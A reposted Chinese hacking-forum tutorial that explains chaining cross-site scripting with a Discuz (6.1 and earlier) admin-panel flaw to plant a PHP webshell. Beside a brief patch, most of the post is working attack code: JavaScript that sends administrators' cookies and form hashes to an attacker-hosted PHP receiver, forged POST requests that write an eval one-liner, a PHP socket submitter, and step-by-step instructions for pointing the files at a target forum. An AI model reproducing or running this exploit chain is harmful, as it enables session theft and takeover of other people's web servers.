找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3500|回复: 0
打印 上一主题 下一主题

Discuz XSS得webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:11:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Discuz XSS得webshell
# @( r: n0 c# j3 HBy racle @tian6.com2 y. z  S* H8 Y7 X8 F6 P
欢迎转帖.但请保留版权信息.
; D6 C" \2 M* X$ X受影响版本iscuz<=6.1.0,gbk+utf+big54 P, v$ I. t9 U- A6 h: c+ u- }

; f6 [% ~9 I, F& E% ]. z新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
( i- N* f6 g% I/ l- I! G9 e8 u
& T6 B# `8 j+ B; z* Y, f1 K
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=87061 D2 A* O( G! u5 i6 L8 i$ E. U
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.5 t5 ?/ z8 z' c
" T+ }9 {4 c) @
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..
% q0 Y& P# `0 z3 B$ B/ d本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS7 O1 O  I( m, }9 Z- y8 y/ t
1 J# B- W; T' y/ I
+ n- W% c9 W- y) p1 g& Z
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------5 F3 j# e% ]- J& p* D) C% U
" }9 ]2 p1 i- b

1 o7 ^- r4 f) {; X1 sproblem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
5 d# \" g: D  A6 I3 c* A. e, _5 r1 {( B; E8 B
problem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
: Z3 x. a4 }( T! M4 J4 u1 B& n) d  C5 d
problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
& U  B) V2 b( D! p( T. y5 ]+ i" U: H0 a: P- u, x! b8 k  O
" f  F( R3 F" i4 C8 q+ Z
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {
! Z( s; y7 r0 G3 |
/ Y) j) J, c% t1 q& D7 d  _: C        global $runwizardfile, $runwizardhistory;
$ T# U& V( J8 X, X& m6 e/ a9 u- M5 p) j; q! @( G/ Q4 T6 q4 H
        $fp = fopen($runwizardfile, 'w');
4 m- |0 E6 B( o) Q2 l2 T$ P8 f/ z" @8 C" z( w' f; z
        fwrite($fp, serialize($runwizardhistory));
& M& o5 m9 D% T' z. {/ Q6 L
+ a2 w5 w- S0 t2 i7 N5 O        fclose($fp);0 a+ {4 b% A2 ~: ~# ]
. C* J  [; V% l* q$ M  ]: ?& ^
}
) ~7 i3 }! l) ^% M; Y3 C复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.% P8 i% E) B: ]* H8 W9 P
以下是修补的办法:function saverunwizardhistory() {
' |1 _. u& g- `; T4 `# G4 @* E$ q$ Q  f" r4 s3 d5 _* W+ F
        global $runwizardfile, $runwizardhistory;! n0 ?$ |. U; J5 a

1 k: k2 I/ i" L  S* m        $fp = fopen($runwizardfile, 'w');/ h. p% m2 F' S7 n. ]1 m

9 P4 r0 n8 x( j) \4 I& i3 q        $s = '<?php exit;?>';5 L8 e$ V& ?4 ?1 }

& W" a7 X) Y, b# v2 x* B        $s .= serialize($runwizardhistory);# h5 Z( c4 G0 }3 R

9 x. w0 q- H- |, K" y) e  P8 ^" l        fwrite($fp, $s);( k2 m/ a# Z8 M( I+ Q

* G4 J: c4 {( b' @- K3 L        fclose($fp);
1 z0 B5 O( E* ^2 g, `
/ s0 f$ g: {6 r: _9 S1 k- K}* ^( T7 T6 ]- ^+ h
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.
# s, q2 y, W4 ]- w5 E; e. l1 y- S9 Y- K2 x& u% @' c( w
( t* B/ V/ S2 E, U4 C  b
# s# b1 F" ]# E$ D
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------' q1 R( r, W3 O0 }

0 z7 T5 u' s  B) J
! m" \( p+ i" g0 t+ }( J  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.* y0 [* M7 V  p2 U9 F

4 L) \) k3 u- r/ ]7 D. {% `0 m我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
$ W: b: A0 Q. ]- f
4 o1 N3 w8 y9 M/ @这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.
7 A$ Q0 c/ N* `, O# X6 T% X$ V# A! P
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:$ o) J% D+ ^, M+ y  b
; t$ z! f+ G; h
var url="http://目标网站/admincp.php";      # ^( {1 x+ Z, \+ U) D6 R8 T  R. q" y

. g- j$ r- q- R. X- F0 P* ^6 S& N/*获得cookies*/- U* }2 k( r6 E' s  D
2 P+ p5 D' R5 F" a( `
function getURL(s) {5 L; ]9 y1 o% z. u! m% M# `4 M

$ G/ G+ Q4 T# ]& }! g$ D8 dvar image = new Image();
: J  q( m- m) B5 u" W" K
5 {8 \9 o- Q# E/ F, Gimage.style.width = 0;2 ^1 b7 M% L) }6 t1 @2 R2 t
, ?% P  R: Z7 g2 w# `
image.style.height = 0;
6 ^& g' g' A3 ^7 L+ O' }5 n( M6 O0 j" q, Q/ ]" g
image.src = s;
' J7 r; `" |5 c4 y+ b1 M8 F$ O5 a" L( }. @. ?
}
/ N, Q7 G" C5 S. |- L6 L  j
; f; S# b- M/ |( j3 I. e! LgetURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php
5 a- I1 j. [* K0 m* L复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
. k0 f5 a+ I, E  }: v复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) . s4 p* L- o6 t; k" G

& F- R1 v# r3 S3 L0 i
) I' n$ ]1 C: J  C1 V! B$ y获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";
3 V. y- ~: H0 j! Z, u" s  \8 |. R, {+ D/ \1 v; J) n

5 X6 n/ h( |" l  \. D( E! [
/ Z2 j+ u- y. S  O/*hash*/
9 x) ], Y; V& a/ H5 H- R+ n. _7 g: x& e3 q) t8 H  v
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");* I! K% ^. k3 H5 \/ D- C+ q

2 x2 Z2 o# ?3 F9 f8 O4 E; YxmlHttpReq.open("GET", url+"admincp.php?action=home", false);
, @/ _; r% n$ E( s  u. \" y# j( [9 D4 U; O: s2 M# K
xmlHttpReq.send();
! o- a( N& r! v+ H/ k% R# K( R: f* ?5 q4 ?
var resource = xmlHttpReq.responseText;! |( N/ Y6 \1 e* y& K' w
7 t6 x" n* n7 {/ k
var numero = resource.search(/formhash/);5 n5 k5 p1 w7 }# @8 C0 f* z* U

* ?. N- c; j! J, t# m/ F4 w" _var formhash=encodeURIComponent(resource.substr(numero+17,8));
9 b4 C1 ~3 b( g5 D3 Z  ^8 r% x. @5 T' m3 Y4 T% b

: V8 W5 G; H4 j9 _) O4 w$ v" h7 S3 {% A$ J
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
( k( V0 b2 R6 P% G4 I5 w7 F1 X. C4 q1 X
xmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 ) a' j" k( D& W

7 |5 e% B- b: v1 a( D# g, E4 hxmlHttpReq.setRequestHeader("Referer", url);
0 F6 I1 M% a- c3 c2 n; s. p. I5 s
xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");3 ~% U6 \2 e. v& a" B) C6 {1 Z' {

% Q# x, p& Q. B; g6 rxmlHttpReq.setrequestheader("content-length",post.length); ( g( B! X% Z8 h, j% F7 a
4 e* v) h) ~3 ]6 v* a' i
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
0 N; U! {. {8 u& c3 |; ?5 V% V0 T5 w0 x; b% }4 J  {
xmlHttpReq.send(post);//发送数据3 o* ?- C& `9 j, i) F2 j& \7 W
复制代码这里HASH我假设正确,这样提交,也无须cookies( u! V. Y+ F- K" S& Q
% L; Q( t( s& S. r3 S
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);8 G' B  M: b' a, c" T/ n
3 F9 h1 n4 o8 g. K; ^
if (!$sock) die("$errstr ($errno)\n");; b- N" I3 f9 _$ U* J
4 D" D* F; |" _7 }# [) {
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';
+ f6 b: e8 J/ V: H3 n$ x. k
5 Z, A& t3 _# {( f( H; m( D% {" i  M2 N3 `

, }' `8 V) O: ?& {fwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");) {9 J6 \$ k/ l5 h
! h- ?4 y4 j  T7 r6 O0 X# y  T  _
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");# i  z# p) i6 e5 _! U! f5 N" `

: e) s/ T. |* O# `# n; {' }fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
8 y! P5 }. U& J( t9 ]$ @; Y" E& u5 e6 [( K/ E2 A% D, {
fwrite($sock, "Accept-Language: zh-cn\r\n");4 i$ G, _+ ]2 u& {  J( g, M

/ k3 E# p8 R& |1 n4 V  S. \fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");+ x, M4 A+ }, B# `; G; V

: I* w4 J6 X4 R+ R: Ifwrite($sock, "Accept-Encoding: gzip, deflate\r\n");  K7 t6 u3 z5 x- z! R2 U. S0 d! Q& e! {

" J8 u* W5 B4 z# f$ J* rfwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");1 V) T% D4 }! a( X9 o
2 x! N- Q  m, t
fwrite($sock, "Host: $url\r\n");" V  o1 W% x5 M$ m" a

0 h& x; t- _# G! B4 _5 S! ~fwrite($sock, "Content-Length: ".strlen($data)."\r\n");& z4 e0 w5 y5 u9 ^
! ~% [: `& c# _9 A5 P7 @. b0 u
fwrite($sock, "Connection: Keep-Alive\r\n");; t* x8 u% j8 V. n) y  ^7 v$ w1 y8 t" i

" P# i0 ~+ C1 d6 s# ~. F1 t' lfwrite($sock, "Cache-Control: no-cache\r\n");" q; G* o9 r4 N, `

3 i- H! _: x3 Kfwrite($sock, "Cookie:".$cookies."\r\n\r\n");
/ \. g. K$ Q( k, o6 O
9 `  b6 z6 R- W1 F9 e8 \' sfwrite($sock, $data);- G, w6 s8 I/ U( B3 ~, w" g: B& e2 ~

3 J9 v; g$ T3 Y% O2 E& O- H- e3 Q: I
! Y, X7 x" I  v! v: g2 E% F: `
$headers = "";9 P) Y7 R! t, ~" L3 n9 h5 Y

, [1 P0 m* H8 n/ _  t1 n: \) N: ~while ($str = trim(fgets($sock, 4096)))7 T" [6 N# O5 Y6 k

# E) T1 v, u/ Z4 G+ u+ b0 T5 E     $headers .= "$str\n";
- u, b. i+ p4 P7 `) ]* C% E- A+ L3 A' W
echo "\n";6 M* ]$ ^4 L( J; W; S' y7 N6 _
7 F) b! d  w) R
$body = "";
" ?; {5 ]+ E$ c9 S" i) l: `5 ~0 W& I% ~5 h* Z* f- g0 X- i3 Q& `
while (!feof($sock))
- S3 A2 M& a; U0 |  q7 q' D" ?0 S: i0 Q
     $body .= fgets($sock, 4096);
1 q6 H5 n# b* V( K
5 b/ B$ o1 k( @. d6 ~$ Zfclose($sock);# R$ z& O8 W3 Y+ U7 j  x

4 o# {: }% }7 _' O3 qecho $body;
4 e: u1 w$ \2 M( d2 R复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^
; d: Z+ `' X) E  ^" U
$ G7 P( n0 ^0 L% q: \3 S
: X4 f- z% V) ?$ N4 q$ f0 a: z-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
7 n* v# J8 H" [  t2 [/ P5 Z
$ `# ~2 G7 {3 J$ ?# J. L3 l$ A
; L: `* m8 Q5 ]6 i6 q' U. {6 ^1HP SOCKET利用方法首先打开racle.js* J0 a2 w. Q: ~4 N6 c

8 o. w" N/ k5 zvar url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home) H: h0 d5 U* ?8 e

4 J# f) X/ Q: h1 L, V* q$ u
& c: F* j$ H2 _$ J$ o3 h# D! D9 Z) c% [2 |# A! ^' a$ R
然后打开racle@tian6.php
* G7 h6 _9 q; l- r2 T2 `
" }2 @$ @  H8 [! |6 m" Y$ M$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com6 ], v! `- B4 }1 \
8 @; D/ b/ k; \& Y* F, Z1 p$ ^6 x
" O; B/ u3 ]' x8 f  F

! X( k) w2 u) D) D) R* y& J' E- F如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:. e9 A4 \; j$ I: ], s$ L1 T

8 g1 g/ c( N, k- k/ XgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));$ b8 ]; u" W; A1 r, ~* l2 K  a
' b: `5 j1 h; i  c& S: H

5 |1 y' W3 O% e: h& K1 l
+ ?8 N% P" H5 q& M, jgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));
9 T$ T$ y, U$ s- Z/ ~复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.0 Q; M# P4 E0 Y3 E

4 H0 j; Z" v9 U7 a
8 u8 d2 j% L, e( V6 [( `. b, d# h+ d
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:) k8 z* r$ ]7 y

! _0 s. L# d2 V/ p2 y- M/ T( d/ yvar formhash=encodeURIComponent(resource.substr(numero+17,8));! |; [# k2 i  w, N
3 h0 `: {+ s# W/ A
, Z" T. L6 t' H+ s, Z5 V; u" D

" V" h) b6 {; n% b2 Zvar formhash=encodeURIComponent(resource.substr(numero+9,8));" C/ x" M/ q6 P3 r% \, Y8 k6 I
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
; B+ q  @# M# `; }1 l" R+ p+ J* L: H5 Y3 [& F2 y  e
如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.3 Z( O8 I) f0 {6 a8 m
. I; c% o$ w# d7 x
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
$ i1 ^! f' G- Z& T& i$ d* T: K: g* d. S" L( L
不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.) ~. W6 P% c9 f5 A/ `0 n5 G
/ I+ [, O# o, m3 t. s6 }1 T7 Z1 H
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表